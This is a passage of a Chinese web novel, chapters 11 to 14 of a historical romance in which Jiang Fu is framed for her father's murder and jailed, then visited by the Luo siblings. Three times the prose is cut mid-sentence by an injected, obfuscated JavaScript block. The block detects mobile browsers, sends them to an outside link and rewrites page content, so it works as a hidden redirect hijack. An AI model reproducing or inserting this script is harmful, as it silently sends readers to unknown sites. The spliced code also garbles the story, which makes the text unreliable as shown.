老登,滚吧。 蒋芙翻了个身,睁眼,下地把袁氏的骨灰罐拿出来摆在床头柜上,面朝着她睡。 她今日想梦见娘,或许这样有用。 闭眼许久,都没睡着。 眼前渐渐浮现了骆岢的脸。 许久,她违背本意地想,他其实还挺无辜的。但!他也和她们一起瞧不起她了,骂他不冤枉。 想到自己骂他虚伪,不要脸的时候,他崩溃的表情,蒋芙哼笑出声。 帷帐之外做洒扫工作的小赵打听:“娘子想到什么有趣的事了,不如说给我也听听?” 蒋芙道:“我想起你们公子了。” 小赵默了一下:“娘子,为自己打算,还是切合实际点好。” 同样的话,大家都在对她说。只不过其中真心假意,各有不同。小赵说这些,蒋芙就不生气。 蒋芙越琢磨,越觉得骆岢这个人好用。她喜欢他,一直得不到他,就不用另外操心自己终身大事。 她试探道:“我在陛下面前保证过的,此生此世,非你们公子不嫁。如果不能得他为夫婿,那我就青灯古佛一生。” 小赵彻底不说话了。蒋芙觉得自己这个人设立得很好,美滋滋翻了个身。 沈听南从叶师父那里取了魏如因带给她的东西,回到卧房,恭敬放在妆奁里。 一盒长安的胭脂,一封花笺。 自然不是魏如因送给她的,是她的兄长文王借她的名所赠。 这东西对她来说有些麻烦,但她不能表现出来。正如蒋芙所说,为了拥有配得上自己的地位,她不惜手段与权贵结交。文王对她有意,便会让妹妹多照顾沈听南一些,一来二去,她行走在世家之间,渐渐也有了一些脸面。 但她不打算真的嫁给他,她想要嫁的人是骆岢。 天下最富盛名的男子,要比一个皇室亲王带给她的东西更多。 如今在郡公府里给公女做伴读,正是她顺其自然接近他的机会。 沈听南对自己很有自信,蒋芙上蹿下跳没有搞定的公子岢,她一定可以。 11. 第 11 章 蒋芙一觉睡了过去。 第二天醒来,她腹中空空,梳洗完被小李喂了碗清淡的汤。 “娘子昨个没吃晚饭,先喝点热乎的暖暖胃,餐食已经做好了,马上就给你端来。” “嗯,谢谢。”她说话还带着刚睡醒的鼻音,人也比平常的样子呆滞。 小李多瞧了她一眼,抿嘴摇头,是不用谢的意思。 昨天穿的襦裙已被她们洗净挂在院子里,小赵给蒋芙准备了一身新衣服,多带了一个铜匣进来。 “娘子昨日睡得早,可知我们公子派人来过?” 蒋芙眼皮耷拉着,无精打采:“哦,是吗?” 小赵一股兴奋劲儿被她弄得散了,眼神里带了些许疑惑:“娘子不好奇我们公子派人来干什么?” 蒋芙眨了下眼,忆起自己还有一个痴恋骆岢的人设,忙道:“当然好奇!我刚刚还有些迷糊,现在才听明白你的话。公子是派人来找我吗?” 小赵笑着卖关子:“非也!娘子好好与我将这身裙子穿上,我便告诉你公子来做什么的!” “若是早知娘子与我家公子相交至此,昨天那席话我万万不好意思说出口,不知者无罪,还请娘子见谅!” 蒋芙跟着笑,配合地穿好衣裙。她皮肤白,淡色的白与蓝落在她身上衬出天水般清新气质。 梳妆末尾,小赵在她鬓间插了一根幽蓝玉簪,玉质透冷,暗处看表面有一层莹莹的冰色。戴上的瞬间,蒋芙整个人明亮起来。 小赵笑道:“这根簪子就是公子所赠,公子的人传话,说是为了向娘子你道歉。娘子,能不能透露一下公子要道的是什么歉啊?” 蒋芙靠近铜镜,看那根簪子戴在头上的样子,心里怀疑骆岢的用心。平心而论,与骆岢相处,无礼的是她,他到底是装到了什么地步,才会从她这里找了晦气,还要反省自己,送东西道歉? 蒋芙把簪子摘下,放回匣子里。 小赵问:“娘子不戴吗?” 蒋芙道:“昨日叶师父放课,公女有意成全我,将公子召来课室,想来公子应该是为此事道歉。如此心意,定要好好珍藏,岂有随意戴在头上的道理?” 小赵了然:“原来如此,我家公子确是能为此事道歉的性子,是我想岔了。不过此前,公子从未送过女子赔罪之物,娘子这里是头一回,足以说明娘子在他心里地位非凡!” 蒋芙猜不透骆岢揣着什么鬼主意,是打算怎样报复她,听到小赵鼓励的话,她不甚走心地笑笑,去桌前吃饭。 到了课室,骆沁闭眼在座位上打着哈欠。 星星指挥手下的人准备上课要用的花材,见到蒋芙来,亲切打招呼:“娘子来了,可有用膳?” 蒋芙笑着回应,提裙坐到书案前,翻了翻昨天讲过的古籍。 身侧窸窸窣窣,转头时,暖呼呼的小手已经环起蒋芙半边胳膊,嫩软的脸颊也贴了上来。 骆沁睁着那双盈盈水光的杏眼,怯怯瞧着蒋芙:“芙姐,我昨日所为,是否让你不开心了?” 小美人在侧撒娇,蒋芙纵然铁石心肠也不免软化:“怎会。公女愿意撮合我与公子,我开心还来不及。” “叫我沁儿呀。” “沁儿。” 骆沁垂眸,睫毛遮了半只眼:“昨天哥哥把我给骂了,说我自作主张,不知礼数,徒惹芙姐不快。我担心你真与我不快,如今看来不会的,对吗?” “不会的。”蒋芙难得拿出几分柔情。 “芙姐你真好,今日沁儿想靠着芙姐上课。” 蒋芙心头温暖,才要应允,被院外沈听南的温婉笑声打断。 笑谈声逐渐接近,珠帘掀开,她与骆岢一同入室,相貌好的人站在一起,仿若有一层天然屏障,卷帘人的存在都显得多余。 “哥哥?”骆沁仍抱着蒋芙没撒手,“哥哥怎来了,你也要上叶师父的课吗?” 骆岢笑意收敛,淡淡瞥向骆沁,似还有些怒威在。骆沁连忙将蒋芙抱得更紧,“我同芙姐说好了,她本就没生我的气,哥哥你可别再骂我了。” 蒋芙黑白分明的眼转向骆岢,后者收回目光,尴尬咳了声。 “沁儿。”沈听南浅笑着走近抱在一起的两人,使了巧劲将她们不着痕迹地分开。 她亲热地握着骆沁的两只手,长姐般温柔教道:“今日叶师父授花艺,特请公子来指导。眼看快要上课,还是回自己的座位,省得师父来了看见,有多不快。” 骆沁懵懂应声,回头看了原地蒋芙一眼。蒋芙微笑与她挥手,拢了拢还残留温热的衣摆。 沈听南,贱人。 她看出来了,每当公女对她有亲近的念头,沈听南就想方设法将她们隔开。她就是见不得她也和公女相处得好,见不得她过好日子。 这个贱人。 因为要学什么花艺,蒋芙把自己书案上的东西整理到桌下。察觉到了一道不可忽视的视线,她抬头,烦躁瞪去一眼。 骆岢愣了愣,错开目光,脸色也沉下几分。 叶师父进门,他便又恢复如初,言谈举止遵从礼节。 叶师父端坐上位:“我在宫中时,常指导公主插花。花乃人间雅事,懂花、用花都需要心境与功夫。公女年岁尚浅,正是陶心养性的时候,今日不讲技法,我与公子、公女、两位伴读随性而设,道法自然,窥本心,定本欲,互相心中领会,各造出心中之花,再行论道。” 话音落下,下人便抬了许多花草盆栽与器具进来。 骆岢走到花架前,执起他挚爱的兰花,眼中怜惜,不忍剪下。沈听南走到他身旁,笑道:“过去听闻公子喜爱兰香,不知公子竟惜兰至此,实为雅趣。” 骆岢轻轻触碰兰叶,道:“花之君子,幽独芬芳。花团锦簇时遇见,只它一朵立于世外,无争无斗,不免心生喜爱。” 沈听南莞尔一笑:“有花者,譬如公子也。” 骆岢回以礼:“岂敢担负盛名。” 蒋芙路过剪花,斜眼看了这俩人,嫌晦气快步离开。 一个人听着就够牙酸,两个人凑在一起,她快要呕吐出来。 骆沁拦了她一下,小声道:“芙姐,你去哪?哥哥在这,你不去说两句话吗?” 小女孩尽职尽责在撮合。 她是真心没有门第之见,如果有,她最开始就不会和沈听南交好。 还是年纪小,太天真了,沈听南那种货色她也信。 难得遇见好心肠的人,蒋芙应下她的提议,做表面功夫朝骆岢走近。沈听南与他聊得合拍,满面春风回了案前,清高如她,没把蒋芙的动作放在眼里。 骆沁对蒋芙鼓了鼓脸颊,眼神示意她抓紧机会。 蒋芙只好凑近道:“公子早啊。” 骆岢动作一僵,没有回应,转身欲走。 蒋芙道:“公子身上有一股好闻的幽香。” 骆岢面有不快,瞥她:“望娘子懂些分寸,香味乃隐秘之事,怎可在口头上公然议论。” 蒋芙眼神玩味:“隐秘之事,叫我闻到了,算什么?” “……”骆岢脸红到了脖子,没有吭声。 蒋芙拿着剪子,将他珍惜的那支兰花剪断,清脆果决一声。 骆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282514|151900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岢震惊去看那支花,视线上移,与她对视,终未说出什么,毕竟花摆在这里就是用的,但他的好耐心因此消耗到了极限。 “公子,你为何送我那根簪子?” “我交代过来意,是为赔罪。” “公子何罪之有?” “罪在人心,不得不赔。”他吐字较往常用力,是厌烦至极的表现,“既赔罪,往后便两清,我与娘子,最好不要再互相招惹。” 蒋芙道:“可是我喜欢你啊,公子。” 骆岢面红耳赤,怒看她:“不知羞耻!” “呀。”蒋芙故作惊讶,凑近几步,“我是听见什么了?好像听见那什么无双公子训斥人了,‘不知羞耻’?公子岢原来也会骂人吗?最最温柔端方的公子岢……” 蒋芙进一步,他便退一步,垂首红成一片霞云。 “你好香呀,公子。” 骆岢呼吸重了几分,说不清是气的,还是因为别的什么。 “公子这么香,背地里究竟费了多少心思?” “……”仿佛突坠寒窟,他骤然冷了下来。 蒋芙的话还在继续。 “你说,别人知道你费了这么多心思吗?我要是说出去的话,大家会怎么看你?” 骆岢急促道:“不要……” 蒋芙笑得耸了肩膀。 “这便是高高在上的公子岢,不过如此,我真的好失望。” 骆岢被连续羞辱,脸色难看至极。 蒋芙剪了满怀的花,步履轻快回了自己座位。 骆沁绕开指导她的叶师父,对蒋芙露出大大的笑容,表示她刚刚都看到了。 芙姐进展不错,哥哥都脸红了! 选花之中,沈听南等人都避开了盛放的牡丹,选了莲花竹枝,作品构造简单,多有留白,给人品味的空间。 那些他们觉得艳俗的花,则被蒋芙摆在瓶子里,万紫千红,瓶中乾坤,包括那支故意当着骆岢面剪下的兰花。 叶师父点头:“大俗大雅,一念之间,你怎么看?” 蒋芙问:“可说吗?” “自然。” 蒋芙道:“万物无灵,本无俗雅之分,全在于人怎么分辨。花草更是为人取乐的死物,或许也可作为表达自己心志的载物。我无所谓,喜欢哪个,哪个就是雅。” 骆岢第一次听到这种观点,本不想再听她讲话,却没落下一个字全都听了进去。 蒋芙的自我与任性,在寥寥数语间展露得淋漓尽致,却并不怎么令人生厌了。 “荒唐。” 蒋芙行礼低头。 叶师父沉默片刻:“……却也自在。” 课室不大,在场之人都盯着俯首的蒋芙。 叶师父问:“可听过出墙之杏,墙角之梅?” 蒋芙回:“听过。” 叶师父道:“两花随性而长,不顾世人赋予之义,颇有心性。然而到底不过是柔弱的花,无法为自己的命运做主,最后因生得不合时宜,被主人家裁去。为花,为人,都是如此。” 骆沁悟出叶师父话中深意,心中难过。 蒋芙却道:“我若为墙角之梅,出墙之杏,自然会动脑寻找能欣赏我、托我言志的主人家生长。” 叶师父唇角有些讽刺:“花没有选择的权力,种下便要生根,至死不渝。” 蒋芙道:“但人是活的,没有离开就会死的根,不是吗?” 叶师父愣住。 骆沁望向蒋芙的眼里闪着光。 沈听南笑着打破这段论调:“插花之艺,芙芙怎扯到人的身上了。” 12. 第 12 章 话题被沈听南引回到花艺上。 蒋芙并无什么表现欲,讥讽一笑,随她。 叶师父指导骆沁如何给花叶塑形,兰叶在她指尖磋磨下,弯出一个优雅的弧度,与亮洁清馥的茉莉相合,花枝东去,枝叶朝天,意蕴悠长。 放课后,蒋芙被叶师父叫着走了一段路。 “你有如此主见,让我这个做师父的颇感意外。但意外过后,也只是一笑而过,你可知为什么?” 蒋芙还计较着之前被她和沈听南排挤的事,并不怎么情愿搭理她。思索之际,叶师父继续说:“因为渺小如你,尊贵如公主,都没有选择权,就连天子,很多时候也没得选。你不认命,可这世上所有人都在被命推着向前走。” 蒋芙听进去了,不赞同:“即便如师父所说,我仍认为每人都有自己的选择。师父自己不是也做了选择吗?在氐族那等蛮夷之地,仍能定心拾荒古籍,带回汉地,为何没有熟视无睹,随遇而安?” “我或许没有选择出身的权利,但我有选择让自己在有限的环境里过得更好的权利,我也有选择不轻待自己的权利。” “起码,我若为墙角之梅,出墙之杏,定要找个能容忍我生长的人家,这个选择,我还是能做到的。” 叶师父长久凝视她,眼尾的细纹在暮光里丝丝加深。那不是什么欣赏的目光,蒋芙被她看得不舒服,又碍于师徒身份不能走,只好将脑袋埋下去做木鱼。 “若是人人都像你这般想,世间便没有悲剧了。蒋小娘子,蒋芙,念在师徒之名的份上,此番我劝过你,之后如何,且看你能坚持如此心性多久。” 目送她终于乘轿辇离府,蒋芙动了动肩颈,往自己的院子走。 她并不觉得那些话算什么“心性”,也没有认为自己思想前卫,在这些古人的身上找什么优越感。 她认为自己所思平常,如果被视为异类,就是这里的人都太过软弱。人如果不能对生活做主,一辈子就等于白活。 蒋芙捡着有树荫的路走,绕过几片芭蕉叶,院落之前,沈听南与侍女撑伞而立,是在等她。 “芙芙。” 蒋芙径直走入院门,没有理会。 沈听南快步追上,柔弱喘息:“芙芙,你听我说句话。” 蒋芙不耐撇嘴,到底停了步子,在郡公府侍女前给她留了一点脸面。 “说。” “芙芙,你下次,不要再言语上投巧了。有些话,私下与我说便好,当着那么多人的面说那种话,被有心之人记下,便是落人口实。” 蒋芙厌倦她的虚假关心,“哦”了声便往屋里走。 小李和小赵束着手脚般站在院子里,对被撂在原地的沈听南僵笑。 “沈娘子,我新沏了茶,不如坐下喝一杯?” 沈听南神情忧伤:“不了,芙芙心情不好,我就不在这里叨扰……” “蒋娘子!” 星星跑得满脸通红,鬓角沾汗贴在脸上,冲进院子里:“蒋娘子可在?” 蒋芙换了一半的衣服,把襦衫重新穿上,出门查看情况:“星星?” 星星跑得上气不接下气,努力说出完整的话:“糟糕了,蒋娘子,有人……有人来郡公面前诬陷你!” 蒋芙下意识看沈听南。 沈听南错愕攥紧了手帕:“不是我……” 星星没注意到她们的眉眼官司,接了小李的茶闷了干净,道:“有人诬陷蒋娘子杀人弑父!娘子快随我去郡公面前与那人对峙!实在是滑天下之大稽,蒋娘子岂会是那种穷凶极恶之徒!好好的小娘子,被那人污蔑成那般!” 她拉住蒋芙的手便跑。 蒋芙没反应过来,就已经踉跄跟在小女孩身后。 来郡公府几日,她鲜少去到课室与住处以外的地点。郡公府书房幽静,有专门的人看守,她跟着星星跑进去,落下一阵细碎杂乱的脚步声。 书房里,素未蒙面的郡公高坐在主位,骆沁与骆岢在侧坐,座前空处跪了一位狼狈女子,披头散发,衣着泥泞。 星星按了按蒋芙的手,眼神安抚:“蒋娘子,快去同郡公说,这个人在污蔑你!” 蒋芙迷茫走到那女人身侧,先向郡公行礼。 “起。”郡公鹰隼般的双眼盯她,“蒋小娘子,有妇人来我这里鸣冤,说我收留弑父贼女给女儿做伴读,不讲公道,可有此事?” 蒋芙直道:“我不曾做过。大人可否让我与这女人对峙,问她意图?” 郡公抬手,让她自便。 蒋芙平身,转过去看那几乎伏在地板上的女人。她认识的人总共就那几个,眼前这位毫无疑问是陌生的。 “大人,我不认识她。” 郡公道:“此人自称是你蒋家的家奴,你再凑近看看?” 蒋芙确认她手脚都被绑着,放心拉近距离,别起她遮面粗糙的发丝,看到全容。 有些熟悉,又觉面生。 忽然灵光一闪,她试探叫:“月桃……?” 伤痕累累,落魄到不成样子的月桃动了动漆黑的眼瞳,颤抖道:“娘子……娘子!不要杀我!” 她向后急退,笨拙地摔倒,腿在半空中挣扎,似乎是怕极了。 蒋芙记起她是谁,是蒋父打发走家里原来的下人后,安排进家里看守她的人。这个女人有点功夫在身上,却被人教训成这副样子,到底发生了什么。 蒋芙蹲在她面前,问:“你说蒋文行、你说我爹死了?” 月桃不停瑟缩,摇头,弱小又可怜,但她站起来有蒋芙四分之五高。 “请娘子伏罪!娘子弑父,天理难容!” 蒋芙也不慌:“你说我弑父,有证据吗?” “娘子,那天晚上闹得动静很大,邻居们都听见了,你说只要你活着,总有一天要杀死阿郎!第二天阿郎便不见了,家里后院还有火烧的痕迹,阿郎的尸体就半残在那,不是娘子,还能有谁?” “仅凭你的揣测,和一些没有信服力的口供,就想给我定罪?尸体在何处,有没有经官府找仵作验过,别告诉我你私下处置了。” 月桃沉默下去。 星星道:“就是诬陷!快说!是谁来让你诬陷蒋娘子的?今日是蒋娘子,明日是不是就轮到我们公女了?” 骆沁往骆岢的方向凑了凑,怯道:“明日也要论到沁儿吗?” 骆岢对她摇头,将视线落在父亲死后,一丝悲伤之情都没有表露出来的蒋芙身上。 “你发现尸体,首先该去的是官府,而不是凭个人臆断猜测凶手,找来我这里。”她语气犀利,“是你的老东家金员外让你来诬陷我的?娶我不成,丢了脸面,我爹是不是也是他下的手?” 月桃表情惊恐。 门外传来一道中年男声:“娘子莫要信口胡说!” 仆人引他进来,对郡公行礼。 中年男人身上穿着官服,瞧见五官,正是蒋父上司,洛县县令陈箜尼。 “拜见郡公大人。” “陈大人请起。陈大人今日前来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282515|151900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莫非也是为蒋主簿的案子?” 陈箜尼再度殷勤行礼:“正是。下官特来捉拿嫌犯蒋芙,回衙门交由捕头拷问。” 到底是给自家女儿做伴读的孩子,郡公帮着说情:“拷问不必了,蒋小娘子年岁尚轻,又是女儿家,没有杀人的本事。” 陈箜尼道:“郡公言之有理,蒋娘子不大可能动手杀成一个壮年男子。” 他话锋一转:“但有没有指使人做,就不好说了。” 蒋芙眉头微皱,凝视他。 “蒋娘子可问心无愧?你敢发誓你和你父亲之死毫无关系,也没有任何人为了你,去杀你的父亲吗?” 后半句话意有所指,蒋芙眼前浮现出几天不见的张闵,脸色唰地白了下来。 陈箜尼勾了嘴角:“既然蒋娘子无话可说,还请郡公容许下官带蒋娘子走一趟。无信无义无德之人,留在公女身边,早晚都是祸害。” 他一发话,门外便有捕头进来扣住蒋芙,几人彬彬有礼告退,唯有蒋芙在状况之外。 她回头看了一眼,意识到没人会救她,若无其事地收回目光。 人被带走,书房静谧下来。 郡公叹了口气:“好了,你们两个,没什么事都回自己院子去吧。蒋娘子的事,以后不许过问。” 骆沁担忧道:“爹爹,不能救救芙姐吗?她一定是被冤枉的。” 郡公道:“冤枉与否,交给官府决断,你个小娘子跟着瞎掺和什么。不要管了,沁儿。” “可是……” “好了。我听叶女官说,你今日插了花?怎么没端来瓶子给爹看看?” “爹,芙姐……” “住口。”郡公没了好颜色,往后一靠,赶人,“都回去,没什么话跟爹说就都回去!‘芙姐’,我怎么不知道你有个姐姐?” 他扫了眼一旁默不作声的儿子:“你也回去!往后把心收一收,学着料理家里的事,你也到年纪了!” 兄妹两人被从书房里赶出来。 骆沁担心得团团转:“哥哥,你说那些人不会打芙姐吧?” “金员外是谁?和芙姐有仇吗?我们送些钱财,拜托他放过芙姐吧!” 骆岢没有回应。 骆沁摇他胳膊:“哥哥,你不会不管芙姐的吧?你救救她!” 骆岢看她,奇道:“你与她才认识几天,为何就如此看重?” “哥哥看重,我自然也看重啊!” 骆岢无语片刻:“我不看重。” 他扭头离开,被骆沁追上:“哥哥,你不看重!你最不看重了!是我自己喜欢芙姐!你不知道,她人可好了,是实心实意对我的,而且见了我第一面就夸我好看,她是真心的!” “哥哥!哥哥!” 沈听南从侍女那里听了蒋芙被带走的事,吓得魂不守舍。 蒋芙总不会真的动手杀人。不,把她逼急了倒也不是没可能。 但以她的力气,根本不能够去杀蒋父,她做不到,这定是有人陷害。 蒋芙年纪小,与她结仇到不惜出手陷害的人几乎没有,如果非要找出一个,那就是金员外。 蒋父起初说把女儿许给他,蒋芙为了不嫁,自作主张做了许多事,让两边的亲事结不成。事没成,蒋芙还借此和郡公府攀上了关系,那人定是受不了这种恶气。 想通以后,沈听南脊背发寒,翻出墨条磨墨。 她要给公主…… 还是给文王写信。 求他,救蒋芙。 13. 第 13 章 蒋芙被两个捕头架着走了老远,再也忍受不住。 “放我下来!我自己会走!” 陈箜尼回头觑她,冷笑:“蒋娘子好大的脾气,小小年纪,身边谁都能叫你号令两句,怪不得敢对自己的生身父亲下手。” 蒋芙瞪他:“我没下手!” 陈箜尼道:“证据齐全,你空口白牙抵赖,有谁会信?” “什么证据齐全?” “自然是人证物证齐全,蒋娘子护卫迟迟未归,就没有坏事的觉悟吗?” 护卫。 果然与张闵有关,他竟会为她杀蒋父? 张闵一贯死心眼,跟随母亲忠于袁氏,便把蒋父也当作他的主子。蒋芙深知这一点,所以就算再愤怒,也没想过指使张闵对蒋父下手,因为她知道,他不会违背原则答应。 而这一次—— 蒋芙心中惊疑不定。 是他? 他是因为她说他不好用,所以一怒之下,做了她想做却没办法做的事? 如果是他,她大仇得报,杀人偿命,和他死在一起也没什么。 如果不是他,这次要怎么才能逃脱? 夹着湿润雨气的风迎面吹来,蒋芙仰头望天,灰蓝色的天空被洛城屋檐圈禁四方,街上空荡荡没人。 狱房门口,两个捕头把她交给手下的捕快。 “将她和她的家仆关在一起看着,不要狱卒,要你们来看。小心些,别随便放人进去。” “是。” 捕快推搡着蒋芙,把她关进一间牢里。洛城官衙的狱房与郡公府关人的地方相比,要有人情味许多。过道的地方有烛灯照明,每间牢房内部都有一个通风口,还有类似床铺的稻草堆着的地方。 金属锁链捆动,发出清脆响声。捕快锁好门,张大嘴打了个哈欠,和同僚抱怨:“两个小孩而已,不知道头让咱们看什么。” 同僚道:“少说话,你看着是两个小孩,我听着却是买凶杀父的凶手。” 捕快听了他的话,瞬间困意全无,瞅了蒋芙一眼:“真的?那小娘子?不像啊!” 两人的头凑在一起,叽叽喳喳议论。蒋芙无心去听,嘴上说大仇得报,甘心去死,心底渐渐开始发慌。 牢房里,张闵手脚都被捆了锁链,双眼紧闭。 他还穿着那身与她分开时的黑衣,雪白的衣领上溅了几滴溜圆的血迹,衣摆也硬着,是血在上面干涸的缘故。 蒋芙坐在他身边瞧着他,心想,这个人为她杀了人。 她就着隐隐绰绰的烛光看他,干净的皮肤,浓密的眉毛,高挺的鼻子,薄唇,最多周正英气的长相,此刻在她眼里,变得无比伟岸帅气。 “张闵……” 仿佛听到她的呼唤,张闵眉头动了动,紧皱在一起睁眼。 他看到了坐在他身侧的蒋芙,她表情少有的温柔,用包容一切的眼神看他。 “芙芙。” 蒋芙感动道:“张闵,谢谢你为我报仇。我真的没想到,你会为了我杀蒋文行。那天我跟你生气,是因为你总是站在沈听南那边,我心里难过,就说了恶毒的话,其实我不想让你走的。你当时肯定也生气了,但是你就算生气,也那么为我着想,居然把蒋文行杀了,怎么不提前知会我一声呢……” 张闵一脸淡定:“我没杀,你在说什么?” 蒋芙的温柔凝固,片刻,碎裂开来。 “……你再说一遍?” “我没杀,你在说什么?”张闵坐起身,察觉手脚上的铁链,垂眸沉思。 “这是什么地方?” 没等到回答,他看向蒋芙,见她用力瞪着他,在愤怒边缘。 “……你怎么了?” “没怎么!” “生气?为什么?” “没什么!没什么!别跟我说话!” 蒋芙觉得脸丢尽了,背对他,脑内思考如今的处境。 在郡公府与陈箜尼对峙时,她是以为张闵杀了蒋父,才迟疑着被带来了这个地方。 现在看来,根本不是。 张闵没有杀人,他不会,也没有必要和她撒谎。既然不是他做的,就是有人要用蒋父的命来陷害她。 沈听南虽然与她作对,但不会用这种脏了她的手的方式来要她的命。 骆岢亦是装腔作势,恨不得做一万件好事来伪装自己善良纯洁,不可能牵扯这么多人进去,冒着这么多人都看清他真面目的风险来杀她。 其余的人,再没有得罪到要她的死的地步。 想来想去,还是只有金员外。 看到月桃时,她就猜到和他脱不了关系。 “那天你跟我分开以后,发生了什么?” 张闵道:“我离开了。” “之后呢?” “醒在这里。” “……” 蒋芙沉默,许久,往张闵身边靠了靠。 “你身手那么好,都能有人神不知鬼不觉弄昏你,还这么多天。显然,那个人想杀咱们如探囊取物,但是没有。” 蒋芙缓缓道:“因为我在给公女做伴读,不能无缘无故死去,不然不好解释。于是就设计了这么一出。” 张闵垂眸:“抱歉,是我没用。” 蒋芙心事重重:“别这么说,堂堂正正比试一场,输的人不一定是你。你连谁对你下手都不知道,这是卑鄙的暗算。” “你说,你逃出去求沈听南,她会不会答应救你?她认识的人多。” “死是绝对不能这么简单死的,不长眼的狗东西,敢害我,我让他吃不了兜着走!干脆把他纳妾的东西剪断,挂他家门口!这个老不死的贱人!” 蒋芙骂到词穷,捋清自己只有一条活路,那就是豁出老脸,拜托沈听南救她。沈听南和魏如因交好,公主出面,事情也许有转圜的余地。 但不是现在。 她需得等到天亮看看栽赃她的证据都有什么,能让陈箜尼那个狗逼登自信到翘尾巴。张闵逃出去机会有限,只能传一次话,她必须让他带出去有用的信息,确保万无一失。 张闵沉浸在被暗算的阴影里,一言不发。他原本也不说什么,只是这次连眼睛都没有抬。 蒋芙摸他头顶,肩膀,小腿。 “疼吗?” “这疼吗?” “这呢?” 都得到否定答案后,蒋芙松了口气,至少主要战力没有折损。 她回头看了一眼干草床铺,想脱外套铺着,念及牢房里除了张闵外还有看守的人,就作罢。 “睡一会儿,保留精力,明天咱们有场仗要打。” 张闵坚定抬眼:“打谁?我不会再失手。” 蒋芙笑了下:“听我吩咐,给我办事。” 他毫不犹豫:“好。” 蒋芙心中七上八下,躺到干草里,闻到一股馊味。 她掏出自己的手帕,盖在口鼻上,一夜没怎么睡。 天将明时,在牢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282516|151900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房里听到人说话的声音,蒋芙以为是其他犯人的动静。 直到被人摇醒,她睁眼,见到一身白衣提灯笼的骆岢。 他洁净脱尘,与这牢房格格不入,像是幻想中的人。 蒋芙盯着他不眨眼,心里疑惑,她居然会有他来拯救自己的幻想吗? 不,不会。他只是出现了,他一定是来冷嘲热讽的。 蒋芙盯他盯得时间长了些,身侧女孩轻笑。 “芙姐,别看了,我哥都害羞了。” 披着斗篷的骆沁对蒋芙甜笑。 张闵站在她身后,表情冷酷。 蒋芙暗中掐了自己一下,是疼的,不是梦。 于是眼睛被泪水淹没,“公女……” 蒋芙没想到,她会来救她。 骆沁见她哭,手忙脚乱擦她眼泪:“芙姐受委屈了,沁儿来救你。你放心,沁儿定会保住你的。” “沁儿……”她抓住骆沁的衣袖,把这阵感动的眼泪流干净。 “沁儿!我确定了,我是被冤枉的,我的护卫并没有替我杀人!但是陈箜尼那个狗……陈县令说他有证据,幕后之人定然有备而来!” 骆沁道:“放心,芙姐,不论他拿出什么证据,我都会帮你查清楚!” “你要小心!” “不用担心我,芙姐,你照顾好自己,我有哥哥保护。” 蒋芙不确定地看向骆岢,后者纹丝不动,连提灯的手都没抖一下。 “蒋娘子安心,事情交给我,届时会将蒋娘子好好地接出来。” 蒋芙受宠若惊,该说是患难见真情吗,骆岢说不定没有那么…… “不过,蒋娘子出来以后,还是不要留在沁儿身边了。不论是真是假,我都不能容忍沁儿有危险的可能,还望蒋娘子体谅。” “……嗯。” 不用他说,蒋芙自己也知道往后留不成。骆沁还能想着她,愿意救她出去就很感谢她了。 “还有,这次营救,是沁儿一力主张,并非我本心。” 蒋芙望着他:“……” 他冷淡回望:“娘子不要误会,再将真心错付到骆某身上才是。” “……” 骆沁在身边,蒋芙给了妹妹面子,没说他什么。 她在心里埋汰他一万遍。 好自恋的人。 就算真心错付,也是对骆沁,她还不至于傻到是谁在救她都分辨不出来。 “公子放心。”蒋芙深情款款,“我对公子的真情,才不是错付。即使公子此番没有搭救,我也要带着这份情意赴死的。海枯石烂,虽死不悔。” 骆岢眉头皱起回避她的目光,手中的灯笼晃了晃,几人的影子也就随之转动方向。 黑暗之中传来一声轻笑,有些熟悉。 蒋芙投去视线,只见前些日子,也是在类似的场景有过一面之缘的白明旭笑着与她招呼。 他顶着骆岢的威压,对蒋芙见礼:“蒋娘子,许久不见,仍是如此含情脉脉,令在下感动。” 骆沁惊讶:“明哥哥,你和芙姐之前见过?” 白明旭道:“之前府上宴请天子,曾将蒋娘子判作刺客错押过,是我放的她。” “好失礼,对不起,芙姐。” 蒋芙摇头:“沁儿不要这样说。” 骆岢打断:“时间不多了,蒋娘子,我们还要回去准备。” “之后的事,你不必忧心。岢愿尽毕生所学,还娘子一个清白。” 14. 第 14 章 天亮以后,蒋芙被看守押送到公堂前候审。 张闵被归为了指认证据一类,与她分开,和其他人证一起出场。 她离开前特地交代,要他听她的指示做事,不要轻举妄动。他眉宇发沉,闷着情绪一声不吭,也不知道听没听进去。 这人最近总犯病,估计是青春期到了。 原以为时间尚早,公堂之上应该只有他们这些和案子相关的人在。但到了堂前,蒋芙发现栏杆之外早已围了不少的百姓,其中有几张熟悉的脸,是蒋家附近的邻居们。 